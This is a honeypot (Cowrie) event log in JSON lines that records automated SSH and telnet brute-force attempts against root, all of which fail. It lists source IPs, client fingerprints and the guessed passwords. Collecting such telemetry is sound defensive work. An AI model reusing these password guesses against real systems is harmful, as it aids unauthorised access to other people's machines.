{"eventid":"cowrie.login.failed","username":"root","password":"Orange@123","message":"login attempt [root/Orange@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:36.813968Z","src_ip":"80.225.252.182","session":"7e2a427fc8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.204.212.75","src_port":35318,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fda1184612f","protocol":"telnet","message":"New connection: 190.204.212.75:35318 (10.17.0.5:23) [session: 5fda1184612f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:37.125427Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":55786,"dst_ip":"10.17.0.5","dst_port":22,"session":"48fcc90534e2","protocol":"ssh","message":"New connection: 103.249.84.242:55786 (10.17.0.5:22) [session: 48fcc90534e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:37.922157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:37.928642Z","src_ip":"103.249.84.242","session":"48fcc90534e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.010610Z","src_ip":"80.225.252.182","session":"7e2a427fc8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.158572Z","src_ip":"103.249.84.242","session":"48fcc90534e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43560,"dst_ip":"159.203.135.109","dst_port":22,"session":"1956db618e87","protocol":"ssh","message":"New connection: 38.93.206.2:43560 (159.203.135.109:22) [session: 1956db618e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.299138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.303602Z","src_ip":"38.93.206.2","session":"1956db618e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.353915Z","src_ip":"38.93.206.2","session":"1956db618e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357951","message":"login attempt [root/357951] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:38.555943Z","src_ip":"38.93.206.2","session":"1956db618e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:39.107412Z","src_ip":"103.249.84.242","session":"48fcc90534e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58886,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5504dff1a7","protocol":"ssh","message":"New connection: 80.94.92.184:58886 (159.203.135.109:22) [session: fd5504dff1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:39.453391Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:39.564190Z","src_ip":"80.94.92.184","session":"fd5504dff1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:39.610045Z","src_ip":"38.93.206.2","session":"1956db618e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:40.338764Z","src_ip":"103.249.84.242","session":"48fcc90534e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55792,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a16b4ff366","protocol":"ssh","message":"New connection: 189.203.163.10:55792 (10.17.0.5:22) [session: d1a16b4ff366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:44.737586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:44.742625Z","src_ip":"189.203.163.10","session":"d1a16b4ff366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:44.805918Z","src_ip":"189.203.163.10","session":"d1a16b4ff366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:45.095925Z","src_ip":"189.203.163.10","session":"d1a16b4ff366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:46.162125Z","src_ip":"189.203.163.10","session":"d1a16b4ff366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.6368248462677,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:51.762166Z","src_ip":"190.204.212.75","session":"5fda1184612f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":35364,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d13cc5cd26","protocol":"ssh","message":"New connection: 89.127.197.59:35364 (10.17.0.5:22) [session: c4d13cc5cd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:52.714071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:52.718434Z","src_ip":"89.127.197.59","session":"c4d13cc5cd26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:52.841930Z","src_ip":"89.127.197.59","session":"c4d13cc5cd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qg123456","message":"login attempt [root/Qg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:53.368832Z","src_ip":"89.127.197.59","session":"c4d13cc5cd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:54.495553Z","src_ip":"89.127.197.59","session":"c4d13cc5cd26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":46724,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b44892aab2a","protocol":"ssh","message":"New connection: 157.230.190.155:46724 (10.17.0.5:22) [session: 8b44892aab2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:59.341262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:59.345880Z","src_ip":"157.230.190.155","session":"8b44892aab2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:59.354228Z","src_ip":"157.230.190.155","session":"8b44892aab2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2063","message":"login attempt [root/2063] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:59.420202Z","src_ip":"157.230.190.155","session":"8b44892aab2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:00.427957Z","src_ip":"157.230.190.155","session":"8b44892aab2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":50616,"dst_ip":"10.17.0.5","dst_port":22,"session":"c408db6a65d9","protocol":"ssh","message":"New connection: 45.119.212.99:50616 (10.17.0.5:22) [session: c408db6a65d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:06.324613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:06.330708Z","src_ip":"45.119.212.99","session":"c408db6a65d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:06.591996Z","src_ip":"45.119.212.99","session":"c408db6a65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iskandar","message":"login attempt [root/iskandar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:07.663373Z","src_ip":"45.119.212.99","session":"c408db6a65d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:08.922147Z","src_ip":"45.119.212.99","session":"c408db6a65d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":49618,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a7cc65b120","protocol":"ssh","message":"New connection: 193.37.70.224:49618 (159.203.135.109:22) [session: 97a7cc65b120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:45.431122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:45.435999Z","src_ip":"193.37.70.224","session":"97a7cc65b120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:45.533584Z","src_ip":"193.37.70.224","session":"97a7cc65b120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gjhjkm","message":"login attempt [root/gjhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:45.816552Z","src_ip":"193.37.70.224","session":"97a7cc65b120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:46.913770Z","src_ip":"193.37.70.224","session":"97a7cc65b120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":38616,"dst_ip":"10.17.0.5","dst_port":22,"session":"6429718092c6","protocol":"ssh","message":"New connection: 43.134.71.92:38616 (10.17.0.5:22) [session: 6429718092c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:49.524283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:49.527903Z","src_ip":"43.134.71.92","session":"6429718092c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:49.771525Z","src_ip":"43.134.71.92","session":"6429718092c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234aaaa","message":"login attempt [root/1234aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:50.780538Z","src_ip":"43.134.71.92","session":"6429718092c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:06:52.028402Z","src_ip":"43.134.71.92","session":"6429718092c6","protocol":"ssh"}
